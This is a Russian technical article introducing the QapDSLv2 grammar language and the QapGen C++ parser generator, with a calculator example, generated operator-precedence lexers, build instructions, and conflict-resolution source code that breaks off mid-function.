Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

QapGen: Создаём мощные парсеры на C++

QapDSLv2 — это язык который транслируется в обычный C++ код. Он позволяет удобно и компактно задавать грамматики/правила разбора, значительно упрощая разработку компиляторов и анализаторов.

QapGen — это генератор дерева_лексеров/парсеров описанных на QapDSLv2. Сама грамматика QapDSLv2 описана на QapDSLv2 на 100%. Поэтому QapGen как основной читатель этой грамматики сам генерирует часть своего кода(весь парсер QapDSLv2).

Основные фишки QapDSLv2 + QapGen — это:

  • Отсутствие этапа токенизации — дерево лексеров разбивает входной поток на лексемы и сохраняет их в строго типизированных древовидных С++ структурах пропуская этап токенизации.

  • Полное сохранение всех лексем(даже разделители сохраняются, такие как пробелы/переходы на новую строку и комментарии) в результирующем дереве.

  • Возможность сохранить как оригинальное дерево, так и модифицированное обратно в код/текст без потери разделителей/комментариев.

  • Генерация оптимизированного кода полиморфных лексеров.

  • Автоматическая генерация кода посетителей(это такой паттерн проектирования).

А теперь пример самой сочной части(рекурсивно самоописывающийся код):

t_target_struct:i_target_item{
  t_keyword{
    string kw=any_str_from_vec(split("struct,class",","));
    " "? // optional separator
  }
  t_body_semicolon:i_struct_impl{";"}
  t_body_impl:i_struct_impl{
    "{" // жрём скобочку
    vector<TAutoPtr<i_target_item>> nested?; // запускаем рекурсию!
    " "?
    vector<TAutoPtr<i_struct_field>> arr?; // парсим поля
    " "?
    TAutoPtr<t_struct_cmds> cmds?; // УГ из QapDSLv1
    " "?
    TAutoPtr<t_cpp_code> c?; // нагло пожираем остальной С++ код
    " "?
    "}"
  }
  t_parent{
    string arrow_or_colon=any_str_from_vec(split("=>,:",","));
    " "?
    t_name parent;
  }
  //точка входа в парсер:
  TAutoPtr<t_keyword> kw?; // парсим struct/class
  t_name name; //парсим имя
  " "? // опциональный разделитель
  TAutoPtr<t_parent> parent?; // парсим имя интерфэйса если есть
  " "?
  TAutoPtr<i_struct_impl> body; // парсим тело структуры или точку с запятой.
}

Про эту статью

Это вторая статья про QapDSL(и одна из первых про QapGen), но первую статью про QapDSLv1 я читать не рекомендую, т.к она безнадёжна устарела, но в этой статье будут описаны изменения по сравнению с первой версией языка, так что я не знаю как вы будете в этом разбираться.

Про соседнюю статью

Я решил выложить сразу две стать в одно время. В этой статье после описания нововведений и разбора примера простого калькулятора, будет вторая половина статьи с самой настоящей сложной технической жестью про QapGen, а в той статье про сравнение с конкурентами на основе парсинга JSON, про механизм полиморфного разбора, а также описание QapDSLv2 и громкая хвала его преимущества.

Основные цели и мотивация для создания QapDSLv2

09bede092b7c809900799056540dc53b.png

В комментариях к первой версии отмечалась перегруженность синтаксиса излишними конструкциями, что усложняло чтение и поддержку кода. Вторая версия QapDSL была разработана с целью упростить и укоротить синтаксис, повысить гибкость и расширить возможности интеграции с C++.

Ключевые нововведения QapDSLv2

Новый укороченный синтаксис

Синтаксис стал более компактным и выразительным. Например, вместо

t_num_with_sep{t_num num;t_sep sep;{go_auto(num);go_auto(sep);}}

теперь можно писать

t_num_with_sep{t_num num;" "} // код с go_auto генерируется автоматически.
// " " - заменится на анонимный t_sep
// но только тогда когда сверху в дереве написано using " " as t_sep;
Более полный пример из кода QapGen
// legacy lexer для парсинга команд из QapDSLv1
t_struct_cmd{ // парсить строки виды 'O+=go_minor<major>(minor);'
  TAutoPtr<i_struct_cmd_xxxx> mode?; // парсит 'O+='
  t_name func; // парсит имя go_* метода
  " "? // " " - заменится на анонимный t_sep, вопросик - опциональность.
  string templ_params=str<TAutoPtr<t_templ_params>>()?; // парсит шаблоны
  "(" // пожирает открывающуюся скобочку
  t_cmd_params params; //парсит параметры из вызова метода
  ")" // пожирает закрывающуюся скобочку
  " "?
  TAutoPtr<i_struct_cmd_so> cmdso?; // опциональна фигня, надо удалить.
  " "?
  ";" // пожирает точку с запятой.
}

Атрибуты для полей

Нужны для того чтобы можно было прокидывать инфу о полях из QapDSLv2 в С++ код и тем самым получать возможность управлять кодом обходящим AST. Например в тэг-атрибут можно запихать js-код обработчик поля/ноды. Или это плохой пример?

t_test20250618_atrr{
  t_foo{{}[::]} // тест баяна.
  t_foo foo; [skip] //аттрибут указывающий зачем-то что это надо пропустить
  t_sep sep; [optimize,"sep",("sep"),sep[x]] // вот так можно писать
}

Возможность вставлять C++ код в QapDSL без разделителя — «баян» [::]

Это нововведение позволяет интегрировать произвольный C++ код в QapDSLv2 без необходимости использовать специальные разделители([::]), что упрощает работу с кодом и улучшает читаемость.

Кроссплатформенная версия QapGen

Теперь QapGen(генератор парсеров) компилируется g++/clang/cl.exe, и генерируемый им код также компилируется под linux/windows, что значительно расширяет область применения и удобство использования инструмента.

111
111

Примера описания парсера для калькулятора на QapDSLv2

t_simple_calc{
  //обьявляемы и реализуем вложенные в t_simple_calc лексеры
  t_term{
    TAutoPtr<i_term> value; // вызываем парсинг полиморфной ноды/лексера.
  }
  t_number:i_term{
    t_ext{
      "." // жрём точечку.
      string v=any(gen_dips("09")); // жрём всё от 0 до 9 пока оно есть.
    }
    t_impl{
      string bef=any(gen_dips("09"));
      TAutoPtr<t_ext> ext?; // парсим опциональный t_ext
    }
    string value=str<t_impl>(); // парсим t_impl и сохраняем его в строку.
  }
  t_divmul{
    t_elem{
      string oper=any_str_from_vec(split("/,*",",")); // сжираем / или *
      t_term expr; // запускаем полиморфа который есть скобки и числа
    }
    t_term first;
    vector<t_elem> arr?; // запускаем опциональный парсинг массива t_elem
  }
  t_addsub{
    t_elem{
      string oper=any_str_from_vec(split("+,-",",")); // сжираем + или -
      t_divmul expr;
    }
    t_divmul first; // парсим t_divmul, т.к у него выше приоретет
    vector<t_elem> arr?; // теперь опционально все остальные
  }
  t_scope:i_term{
    "(" // едим скобку
    t_addsub value; // начинаем с + или -,т.к у них низкий приортет
    ")" // ещё скобочку
  }
  // точка входа:
  t_addsub value; // парсим t_addsub
}

Пример запуска парсера калькулятора описанного на QapDSLv2

Смотрите сначала разбор, а потом это если захочется увидеть реальный код
struct t_simple_calc_evalutor:t_simple_calc{
  typedef t_simple_calc t_ast;
  struct t_go:i_term_visitor{
    void Do(t_number*ptr){Do(*ptr);}
    void Do(t_scope*ptr){Do(*ptr);}
    template<class TYPE>void Do(vector<TYPE>&arr){for(auto&ex:arr)Do(ex);}
    void Do(t_term&ref){
      auto*ptr=ref.value.get();
      ptr->Use(*this);
    }
    void Do(t_number&ref){
      rv=t_rv{"imm",ref.value};
      v=std::stod(ref.value);
    }
    void Do(t_scope&ref){
      Do(ref.value);
    }
    void Do(t_divmul&ref){
      Do(ref.first);
      auto cur_rv=rv;
      auto cur=v;
      for(auto&ex:ref.arr){
        Do(ex.expr);
        if("/"==ex.oper)cur/=v;
        if("*"==ex.oper)cur*=v;
        if("/"==ex.oper)cur_rv=div(cur_rv,rv);
        if("*"==ex.oper)cur_rv=mul(cur_rv,rv);
      }
      v=cur;
      rv=cur_rv;
    }
    void Do(t_addsub&ref){
      Do(ref.first);
      auto cur_rv=rv;
      auto cur=v;
      for(auto&ex:ref.arr){
        Do(ex.expr);
        if("+"==ex.oper)cur+=v;
        if("-"==ex.oper)cur-=v;
        if("+"==ex.oper)cur_rv=add(cur_rv,rv);
        if("-"==ex.oper)cur_rv=sub(cur_rv,rv);
      }
      v=cur;
      rv=cur_rv;
    }
    struct t_rv{
      string type;
      string value;
      string get_reg()const{
        auto t=split(value,"\n");
        if(t.back().empty())t.pop_back();
        auto b=t.back();
        return split(b,"=")[0];
      }
      int get_reg_id()const{
        return std::stoi(split(get_reg(),"\2")[0].substr(1));
      }
    };
    t_rv rv_do(string cmd,t_rv a,t_rv b){
      int reg_id=0;
      auto reg=[](int reg_id){return "\1"+std::to_string(reg_id)+"\2";};
      auto alloc_reg=[&](){return reg(reg_id++);};
      auto foo=[&](const t_rv&a){
        if(a.type!="imm")return a;
        auto reg=alloc_reg();
        return t_rv{"asm",reg+"="+a.value};
      };
      auto fix=[&](const t_rv&a,int bef,int aft){
        return t_rv{"asm",join(split(a.value,reg(bef)),reg(aft))};
      };
      string out;
      auto ra=foo(a);auto a_id=ra.get_reg_id();reg_id=a_id+1;
      auto rb=foo(b);auto b_id=rb.get_reg_id();reg_id=std::max(a_id+1,b_id+1);
      for(int i=0;i<=b_id;i++)if(i<=a_id)if(rb.value.find(reg(i))!=std::string::npos)rb=fix(rb,i,reg_id++);
      out+=ra.value+"\n";
      out+=rb.value+"\n";
      out+=alloc_reg()+"="+cmd+"("+ra.get_reg()+","+rb.get_reg()+")\n";
      return t_rv{"asm",out};
    }
    t_rv div(t_rv a,t_rv b){
      return rv_do("div",a,b);
    }
    t_rv mul(t_rv a,t_rv b){
      return rv_do("mul",a,b);
    }
    t_rv add(t_rv a,t_rv b){
      return rv_do("add",a,b);
    }
    t_rv sub(t_rv a,t_rv b){
      return rv_do("sub",a,b);
    }
    real v=0;
    t_rv rv;
  };
};

void main_2021(IEnvRTTI&Env){
  //{Sys$$<t_simple_calc>::GetRTTI(Env);};
  t_simple_calc::t_addsub ast;
  string inp;
  std::cin>>inp;
  string input=inp;//"100+2*(10+1*2)+30/2-15-16-3/1+3.14/2.5*1-1000";
  auto ok=load_obj(Env,ast,input);
  int gg=1;
  t_simple_calc_evalutor::t_go go;
  go.Do(ast);
  std::cout<<"Result: "<<go.v<<std::endl<<std::endl;
  string output=join(split(join(split(go.rv.value,"\1"),"r"),"\2"),"");
  std::cout<<output<<std::endl;
  int gg2=2;
}

Код обхода дерева и вычисления результата — это очень наглядный и профессионально сделанный пример реализации интерпретатора для простого калькулятора с генерацией промежуточного кода (ассемблероподобного).

Разбор кода обхода AST и вычисления результата

Структура t_simple_calc_evalutor

Расширяем базовый парсер t_simple_calc, добавляя функциональность вычисления выражения:

struct t_simple_calc_evalutor : t_simple_calc {
  typedef t_simple_calc t_ast;
  struct t_go : i_term_visitor {
    // Реализация обхода различных узлов AST
  };
};
  • t_go — это посетитель, реализующий обход дерева выражения и вычисление значения.

Основные методы обхода

  • Обход термов и полиморфных узлов

void Do(t_term& ref) {
  auto* ptr = ref.value.get();
  ptr->Use(*this);
}

Вы вызывам метод Use у конкретного типа узла, обеспечивая полиморфизм.

  • Обработка чисел

void Do(t_number& ref) {
  rv = t_rv{"imm", ref.value};
  v = std::stod(ref.value);
}

Здесь парсим строковое представление числа в double и сохраняете его.

  • Обработка скобок

void Do(t_scope& ref) {
  Do(ref.value);
}

Просто рекурсивно обрабатываем выражение внутри скобок.

  • Обработка операций умножения и деления

void Do(t_divmul& ref) {
  Do(ref.first);
  auto cur_rv = rv;
  auto cur = v;
  for (auto& ex : ref.arr) {
    Do(ex.expr);
    if ("/" == ex.oper) cur /= v;
    if ("*" == ex.oper) cur *= v;
    cur_rv = ("/" == ex.oper) ? div(cur_rv, rv) : mul(cur_rv, rv);
  }
  v = cur;
  rv = cur_rv;
}
  • Сначала вычисляем первый операнд, затем последовательно применяем операции из массива arr.

  • Параллельно формируем промежуточный код в rv.

  • Обработка операций сложения и вычитания

Аналогично, но с операциями + и -.

Промежуточный код (структура t_rv и методы add, sub, mul, div)

  • t_rv хранит тип результата (imm — immediate, asm — ассемблероподобный код) и строковое представление.

  • Методы add, sub, mul, div генерируют код с регистрами, используя внутреннюю логику выделения и замены регистров.

Это отличное дополнение, показывающее, как можно не только вычислять значение, но и генерировать промежуточный код — важный этап для компиляторов и оптимизаторов.

Пример запуска из main_2021

t_simple_calc::t_addsub ast;
string input;
std::cin >> input;
auto ok = load_obj(Env, ast, input);

t_simple_calc_evalutor::t_go go;
go.Do(ast);

std::cout<<"Result: "<<go.v << std::endl;
std::cout<<join(split(join(split(go.rv.value,"\1"),"r"),"\2"),"")<<std::endl;
  • Загружаем AST из входной строки.

  • Запускаем обход и вычисление.

  • Выводим результат и сгенерированный промежуточный код.

Как парсить более сложные выражения с большим количеством операторов?

Да точно также! Просто набрасываем ещё кучу уровней и пошло поехало. Для того чтобы не ошибиться и не заниматься этим вручную просто пишем скрипт на js который создаёт все необходимые лексеры каждого уровня за нас:

var pad2=num=>(num<10?"0"+num:""+num);
return(
`+,-,!,~
*,/,%
+,-
<<,>>
<,<=,>,>=
==,!=
&
^
|
&&
||`.split("\r").join("").split("\n").map((ops,i)=>{
  var e="t_lev"+pad2(i==1?3:i+3);
  var n="t_lev"+pad2(i+4);
  if(!i){
    return `t_lev03{
  string oper=any_str_from_vec(split(`+JSON.stringify(ops)+`,","))?;
  TAutoPtr<i_expr> expr;
}`;
  }
  var oa=ops.split(",");
  if(oa.length==1){
    return n+`{
  t_oper{"`+oa[0]+`" inline static const string value="`+oa[0]+`";}
  t_item{t_oper oper; `+e+` expr;}
  `+e+` expr;
  vector<t_item> arr?;
}`;
  }
  return n+`{
  t_oper{string value=any_str_from_vec(split("`+ops+`",","));}
  t_item{t_oper oper;`+e+` expr;}
  `+e+` expr;
  vector<t_item> arr?;
}`;
}).join("\n"));

Вот что мы получаем на выходе:

t_lev03{
  string oper=any_str_from_vec(split("+,-,!,~",","))?;
  TAutoPtr<i_expr> expr;
}
t_lev05{
  t_oper{string value=any_str_from_vec(split("*,/,%",","));}
  t_item{t_oper oper;t_lev03 expr;}
  t_lev03 expr;
  vector<t_item> arr?;
}
t_lev06{
  t_oper{string value=any_str_from_vec(split("+,-",","));}
  t_item{t_oper oper;t_lev05 expr;}
  t_lev05 expr;
  vector<t_item> arr?;
}
t_lev07{
  t_oper{string value=any_str_from_vec(split("<<,>>",","));}
  t_item{t_oper oper;t_lev06 expr;}
  t_lev06 expr;
  vector<t_item> arr?;
}
t_lev08{
  t_oper{string value=any_str_from_vec(split("<,<=,>,>=",","));}
  t_item{t_oper oper;t_lev07 expr;}
  t_lev07 expr;
  vector<t_item> arr?;
}
t_lev09{
  t_oper{string value=any_str_from_vec(split("==,!=",","));}
  t_item{t_oper oper;t_lev08 expr;}
  t_lev08 expr;
  vector<t_item> arr?;
}
t_lev10{
  t_oper{"&" inline static const string value="&";}
  t_item{t_oper oper; t_lev09 expr;}
  t_lev09 expr;
  vector<t_item> arr?;
}
t_lev11{
  t_oper{"^" inline static const string value="^";}
  t_item{t_oper oper; t_lev10 expr;}
  t_lev10 expr;
  vector<t_item> arr?;
}
t_lev12{
  t_oper{"|" inline static const string value="|";}
  t_item{t_oper oper; t_lev11 expr;}
  t_lev11 expr;
  vector<t_item> arr?;
}
t_lev13{
  t_oper{"&&" inline static const string value="&&";}
  t_item{t_oper oper; t_lev12 expr;}
  t_lev12 expr;
  vector<t_item> arr?;
}
t_lev14{
  t_oper{"||" inline static const string value="||";}
  t_item{t_oper oper; t_lev13 expr;}
  t_lev13 expr;
  vector<t_item> arr?;
}

Тут мы для некоторых уровней вставляем С++ код объявления заинлайненой константы. Это очень удобно и это единственный вариант когда я одобряю вставку дополнительного С++ кода в лексеры. Так то это ужасно плохая практика.

Дальше пишем вот такой код в интерпретаторе/трансляторе/обходчике и у нас всё чётко - никаких проблем(начинайте смотреть с DoLevel):

template<class TYPE>
void exprUse(TYPE&expr){
  Do(&expr);
}
//template<class TYPE>
void exprUse(TAutoPtr<t_simple_stat_lex::i_expr>&expr){
  QapAssert(expr);
  expr->Use(*this);
}
void call_anyoper(vector<t_expr_value>&values,const string&oper){
  auto params=get_types_from_values(values);
  t_cmd_dev<t_oper_stat> cmddev(values,params,oper);
  bool ok=cmddev.main(dev);
  if(ok)return;
  dev.push_frame();
  weak_call_xxxx<t_oper>(dev,values,oper);
  QapAssert(dev.isRet());
  dev.pop_frame();
}
void call_binoper(const string&oper,t_expr_value&&bef,t_expr_value&&aft){
  dev.push();
  vector<t_expr_value> values;
  values.push_back(std::move(bef));
  values.push_back(std::move(aft));
  call_anyoper(values,oper);
  dev.pop();
}
void call_oneoper(const string&oper,t_expr_value&&value){
  dev.push();
  vector<t_expr_value> values;
  values.push_back(std::move(value));
  call_anyoper(values,oper);
  dev.pop();
}
template<class TYPE>
void DoLevel(TYPE*p)
{
  exprUse(p->expr);
  if(dev.isErr())return;
  auto&arr=p->arr;
  if(arr.empty())return;
  t_expr_value buff=std::move(dev.expr_buff);
  for(int i=0;i<arr.size();i++)
  {
    auto&ex=arr[i];
    exprUse(ex.expr);
    if(dev.isErr())return;
    const string&oper=ex.oper.value;
    call_binoper(oper,std::move(buff),std::move(dev.expr_buff));
    if(dev.isErr())return;
    buff=std::move(dev.expr_buff);
    dev.expr_buff.value=nullptr;
  }
  dev.expr_buff=std::move(buff);
}
void Do(t_lev03*p){
  exprUse(p->expr);
  if(dev.isErr())return;
  const auto&oper=p->oper;
  if(oper.empty())return;
  call_oneoper(oper,std::move(dev.expr_buff));
}
void Do(t_lev05*p){DoLevel(p);}
void Do(t_lev06*p){DoLevel(p);}
void Do(t_lev07*p){DoLevel(p);}
void Do(t_lev08*p){DoLevel(p);}
void Do(t_lev09*p){DoLevel(p);}
void Do(t_lev10*p){DoLevel(p);}
void Do(t_lev11*p){DoLevel(p);}
void Do(t_lev12*p){DoLevel(p);}
void Do(t_lev13*p){DoLevel(p);}
void Do(t_lev14*p){DoLevel(p);}

Данный код реализует обход уровней лексера с учётом приоритетов операторов через единый шаблонный метод DoLevel, что минимизирует дублирование логики для разных уровней. Использование шаблонных функций и централизованного вызова call_binoper и call_oneoper позволяет эффективно управлять стеком вызовов и состоянием вычислений в dev. Такой подход обеспечивает модульность, упрощает расширение грамматики новыми операторами и улучшает сопровождение кода за счёт чёткого разделения обязанностей между обходом AST и генерацией промежуточных команд. Это решение соответствует принципам чистой архитектуры и облегчает внедрение новых языковых конструкций в парсер.

Полное описание всех не упомянутых go_* методов

"go_* методы" - это то во что превращается код описания полей вида:

t_some_lexer field=minor<t_major>(); // заменяется на dev.go_minor<t_major>(field);
// или
string var=str<t_some_lexer>(); // это заменяется на dev.go_str<t_some_lexer>(var);
// или
string var=any("?*"); // это заменяется на dev.go_any(var,"?*");

go_minor<t_major>(t_minor&) - этот метод нужен для того чтобы понижать приоритет минора и давать возможность отработать мажору первым в вышестоящем лексере.

go_str<t_lexer>(string&) - этот метод нужен чтобы разобрать лексером t_lexer лексему, а затем сохранить её в строку, чтобы потом удобно ей пользоваться как строкой, а не неудобной веткой/листом.

go_without<t_lexer>(string&) - этот метод нужен чтобы прочитать всё в строку пока t_lexer ничего не может понять/разобрать. очень дорогой метод.

go_vec(vector<t_lexer>&arr,const string&sep) - УГ. не нужен. сами изучайте если интересно.

go_auto(t_lexer&) - ТОП1 метод, настолько крут что используется для всех полей без инициализатора по умолчанию.

Инструкция по установке/запуску/использованию

Как установить/запустить QapGen?

git clone https://github.com/adler3d/QapGen
cd QapGen/stable
chmod +x build.sh
./build.sh
cd Release
./QapGen.elf your_grammar_file.qapdsl.hpp dontoptimize_polymorphs > output.inl

Далее если всё отработало успешно, то подключаете output.inl к своему проекту.

Свой проект можете сделать из простого калькулятор расположенного по адресу:

https://github.com/adler3d/QapGen/tree/master/src/SimpleCalc

Для этого надо открыть файл:

QapGen/src/SimpleCalc/SimpleCalc/SimpleCalc.cpp

И в нём заменить #include "t_simple_calc.inl" на #include "output.inl"

output.inl нужно положить рядом с SimpleCalc.cpp

Далее надо удалить класс t_simple_calc_evalutor и в main_2021 довести код до рабочего. Для этого надо оттуда всё убрать и написать такой код:

string input="your_script_or_code_or_text";
t_your_root_lexer root_lexer;
auto ok=load_obj(root_lexer,input);
if(!ok)return;
// далее используя посетителей обходим дерево хранящееся в root_lexer

Далее надо собрать/скомпилировать SimpleCalc.cpp и запустить прогу:

g++ -O2 -std=c++17 SimpleCalc.cpp -o SimpleCalc.elf
./SimpleCalc.elf

Для тех кто под Windows есть SimpleCalc.sln для MSVS2017 и build.bat в QapGen/src/SimpleCalc

Разбор t_poly_tool — инструмента разрешения конфликтов у полиморфных лексеров

Краткое описание

t_poly_tool — это мощный инструмент для управления конфликтами приоритетов в системе полиморфных лексеров. Он строит граф зависимостей между типами, проверяет наличие циклов и с помощью топологической сортировки формирует корректный порядок обхода. Это позволяет надёжно разрешать конфликты приоритетов и выбирать правильную реализацию при парсинге. Интеграция с шаблоном go_poly обеспечивает динамический выбор подходящего варианта обхода, что значительно упрощает поддержку и расширение грамматики.

Хотеть больше подробностей

Общая идея

t_poly_tool — это конфигурационный инструмент, который управляет зависимостями и приоритетами между различными типами (семействами) в системе лексеров. Он:

  • Загружает и сохраняет конфигурацию из файла config.cfg.

  • Хранит информацию о типах, их связях и событиях, которые отражают зависимости между ними.

  • ...

  • ...

Ключевые компоненты

1. Загрузка и сохранение конфигурации

  • Метод get() — синглтон, который загружает конфиг из файла, либо создаёт новый, если файл отсутствует.

  • Метод save_doc() — сохраняет текущую конфигурацию обратно в файл.

2. Управление списком типов и событий

  • find() — поиск или создание записи по имени типа.

  • get_base_arr() — получение и синхронизация базового массива элементов с входными данными, с сохранением в конфиг при необходимости.

  • get_mass() — получение индекса типа в массиве по имени.

3. Структуры для топологической сортировки и проверки циклов

  • t_point — узел графа зависимостей с входящими и исходящими рёбрами, флагом посещения и группой.

  • t_points — коллекция точек с методами:

    • load_points() — инициализация точек по списку имён типов.

    • load_edges_from_events() — построение рёбер графа из событий зависимостей.

    • isCyclical() — проверка на наличие циклов в графе с помощью обхода в ширину.

    • toList() — построение топологического порядка обхода точек с учётом зависимостей.

4. Управление событиями и перестройка порядка

  • list_apply_events() — статический метод, который принимает список типов и событий, проверяет циклы и возвращает корректный порядок.

  • remake() — перестраивает порядок типов в массиве с учётом событий и сохраняет конфигурацию.

5. Шаблон go_poly — основной механизм обхода полиморфных реализаций

  • Хранит массив результатов обхода (out_arr), ссылку на dev (интерфейс устройства/парсера), ссылку на целевой объект ref и вспомогательные данные.

  • Метод go_for<T>() — пытается выполнить обход конкретного типа T, сохраняя результат и позицию.

  • Метод main() — выбирает наиболее подходящий вариант обхода из множества, используя информацию из конфигурации (t_poly_tool), сортирует по «массе» (приоритету) и позиции, применяет топологический порядок, и устанавливает результат в ref.

Больше техно-жести!!! А ну покажи код!
struct t_poly_tool:public t_config_2013{
  //struct t_lex{
  //  std::function<void(t_poly_tool*)> func;
  //  CharMask m;
  //};
  t_doc doc;
  static t_poly_tool&get(/*IEnvRTTI&Env*/){
    static const string fn="config.cfg";
    static t_poly_tool tool;
    static t_doc&doc=tool.doc;
    static QapClock clock;
    static bool first=true;
    if(first){clock.Start();/*doc.lines.reserve(2048);*/}
    if(clock.MS()<360*1000)if(!first)return tool;
    first=false;
    clock.Stop();clock.Start();
    CrutchIO IO;
    bool ok=IO.LoadFile(fn);
    if(ok){t_doc tmp;doc=std::move(tmp);/*doc.lines.reserve(2048);*/}
    if(!ok){
      IO.mem.clear();
      QapAssert(save_obj(/*Env,*/doc,IO.mem));
      IO.SaveFile(fn);
      return tool;
    }
    clock.Stop();clock.Start();
    QapAssert(load_obj(/*Env,*/doc,IO.mem));clock.Stop();clock.Start();
    real time=clock.MS();
    clock.Stop();clock.Start();
    //doc.lines.reserve(2048);
    return tool;
  }
  void save_doc(/*IEnvRTTI&Env,*/const string&fn){
    CrutchIO IO;
    QapAssert(save_obj(/*Env,*/this->doc,IO.mem));
    IO.SaveFile(fn);
  }
public:
  t_line&find(const string&type){
    auto&arr=doc.lines;
    for(int i=0;i<arr.size();i++)
    {
      auto&ex=arr[i];
      if(ex.head==type)return ex;
    }
    arr.push_back(t_line());
    auto&back=arr.back();
    back.head=type;
    return back;
  }
  template<class TYPE>
  vector<t_item>&get_base_arr(/*IEnvRTTI&Env,*/const string&basetype,vector<TYPE>&inp,const vector<string>&types){
    auto&base=find(basetype);
    auto&arr=base.arr;
    if(arr.size()==inp.size())return arr;
    if(arr.size()){
      if(arr.size()!=types.size())QapNoWay();
      for(auto&ex:arr){
        QapAssert(qap_includes(types,ex.type));
      }
      return arr;
    }
    QapAssert(base.arr.empty());
    arr.resize(inp.size());
    for(int i=0;i<arr.size();i++){
      auto&ex=arr[i];
      ex.type=inp[i].info;
    }
    save_doc(/*Env,*/"config.cfg");
    return arr;
  }
  static int get_mass(const vector<t_item>&arr,const string&type){
    for(int i=0;i<arr.size();i++){
      auto&ex=arr[i];
      if(ex.type==type)return i;
    }
    QapAssert(false);
    return -1;
  }
public:
  struct t_point{
    int id;
    string name;
    vector<int> inp;
    vector<int> out;
    bool passed;
    int group;
  };
public:
  template<class TYPE>
  struct t_out_rec{
    const char*info;
    TAutoPtr<TYPE> object;
    int pos;
    int mass;
    t_out_rec(){pos=-1;mass=-1;}
    t_out_rec(t_out_rec&&ref){info=std::move(ref.info);object=std::move(ref.object);pos=ref.pos;mass=ref.mass;}
  };
public:
  struct t_points{
    vector<t_point> arr;
    t_point&find(const string&name){
      for(int i=0;i<arr.size();i++){
        auto&ex=arr[i];
        if(name==ex.name)return ex;
      }
      QapAssert(false);
      return *(t_point*)nullptr;
    }
    void set_passed(bool value){
      for(int i=0;i<arr.size();i++){
        auto&ex=arr[i];
        ex.passed=value;
      }
    }
    void load_points(const vector<string>&inp){
      arr.resize(inp.size());
      for(int i=0;i<inp.size();i++){
        auto&ex=inp[i];
        auto&p=arr[i];
        p.name=ex;
        p.id=i;
        p.passed=false;
        p.group=-1;
      }
    }
    void load_edges_from_events(const vector<t_event>&events){
      for(int i=0;i<events.size();i++){
        auto&ex=events[i];
        auto&pa=find(ex.A.type);
        auto&pb=find(ex.B.type);
        pa.inp.push_back(pb.id);
        pb.out.push_back(pa.id);
      }
    }
    struct t_wave{
      t_points&points;
      vector<int> prev;
      vector<int> next;
      int first_id;
      int group;
      bool result;
      void update(int id)
      {
        auto&ex=points.arr[id];
        ex.group=group;
        ex.passed=true;
        auto&arr=ex.out;
        for(int i=0;i<arr.size();i++){
          auto&id=arr[i];
          auto&ex=points.arr[id];
          QapAssert(id!=first_id);
          if(first_id==id)result=true;
          next.push_back(ex.id);
        }
      }
      void run()
      {
        points.set_passed(false);
        next.push_back(first_id);
        for(int iter=0;!next.empty();iter++)
        {
          prev=std::move(next);
          for(int i=0;i<prev.size();i++){
            auto&id=prev[i];
            auto&ex=points.arr[id];
            if(ex.passed)continue;
            update(ex.id);
          }
        }
      }
    };
    bool isCyclical(){
      t_wave wave={*this};
      wave.result=false;
      string view;view.resize(arr.size());
      for(int i=0;i<arr.size();i++){
        auto&ex=arr[i];
        for(int i=0;i<arr.size();i++){view[i]=arr[i].group<0?'N':'0'+arr[i].group;}
        if(ex.group>=0)continue;
        wave.first_id=ex.id;
        wave.group=ex.id;
        wave.run();
      }
      return wave.result;
    }
    vector<string> toList(){
      vector<string> out;
      set_passed(false);
      vector<int> heads;
      for(int i=0;i<arr.size();i++){
        auto&ex=arr[i];
        if(!ex.out.empty())continue;
        heads.push_back(ex.id);
      }
      vector<int> next;
      for(int iter=0;!heads.empty();iter++)
      {
        vector<int> next_heads;
        for(int i=0;i<heads.size();i++){
          auto&id=heads[i];
          auto&ex=arr[id];
          auto&inp=ex.inp;
          for(int i=0;i<inp.size();i++){
            auto&id=inp[i];
            auto&ex=arr[id];
            if(ex.passed)continue;
            bool found=false;
            for(int i=0;i<next_heads.size();i++)if(next_heads[i]==ex.id)found=true;
            if(found)continue;
            next_heads.push_back(ex.id);
          }
        }
        for(int i=0;i<next_heads.size();i++){
          auto&id=next_heads[i];
          auto&ex=arr[id];
          auto&out=ex.out;
          bool ok=true;
          for(int i=0;i<out.size();i++){
            auto&id=out[i];
            for(int i=0;i<next_heads.size();i++){
              if(next_heads[i]==id)ok=false;
            }
          }
          if(!ok)continue;
          next.push_back(ex.id);
        }
        for(int i=0;i<next.size();i++){
          auto&id=next[i];
          auto&ex=arr[id];
          ex.passed=true;
        }
        std::sort(heads.begin(),heads.end());
        for(int i=0;i<heads.size();i++){
          auto&id=heads[i];
          auto&ex=arr[id];
          out.push_back(ex.name);
        }
        heads=std::move(next);
      }
      return out;
    }
  };
public:
  typedef t_config_2013::t_event t_event;
  typedef t_config_2013::t_item t_item;
  static vector<string> list_apply_events(const vector<string>&arr,vector<t_event>&events){
    t_points points;
    points.load_points(arr);
    points.load_edges_from_events(events);
    bool ok=!points.isCyclical();
    QapAssert(ok);
    auto list=points.toList();
    return list;
  }
  void remake(vector<t_item>&points,vector<t_event>&events){
    vector<string> arr;
    arr.resize(points.size());
    for(int i=0;i<arr.size();i++){
      arr[i]=points[i].type;
    }
    auto out=list_apply_events(arr,events);
    QapAssert(out.size()==points.size());
    for(int i=0;i<arr.size();i++){
      points[i].type=out[i];
    }
  }
public:
  template<class TYPE>
  struct go_poly{
    vector<t_out_rec<TYPE>>&out_arr;
    i_dev&dev;
    TAutoPtr<TYPE>&ref;
    t_fallback&scope;
    int&count;
    int&first_id;
    const string&strbasetype;
    //IEnvRTTI&Env;
    struct t_lex{
      const char*pname=nullptr;
      std::function<void(typename TYPE::t_poly_impl*)> func;
      CharMask m;
    };
    template<class T>
    void go_for(){
      t_fallback scope(dev,__FUNCTION__);
      T tmp;
      scope.ok=tmp.go(dev);
      t_out_rec<TYPE> rec;
      static const string strtype=T::ProxySys$$::GetFullName();
      rec.info=strtype.c_str();
      if(scope.ok)
      {
        rec.object=make_unique<T>(std::move(tmp));
        //auto*p=rec.object.get();
        //*p=std::move(tmp);
        if(!count)first_id=out_arr.size();
        count++;
      }
      dev.getPos(rec.pos);
      out_arr.push_back(std::move(rec));
      scope.ok=false;
    }
    template<size_t N=0>
    void main(array<t_lex,N>*plexs=nullptr)
    {
      typedef t_poly_tool::t_out_rec<TYPE> t_out_rec;
      if(!count){scope.ok=false;return;}
      auto use=[this](t_out_rec&ex){
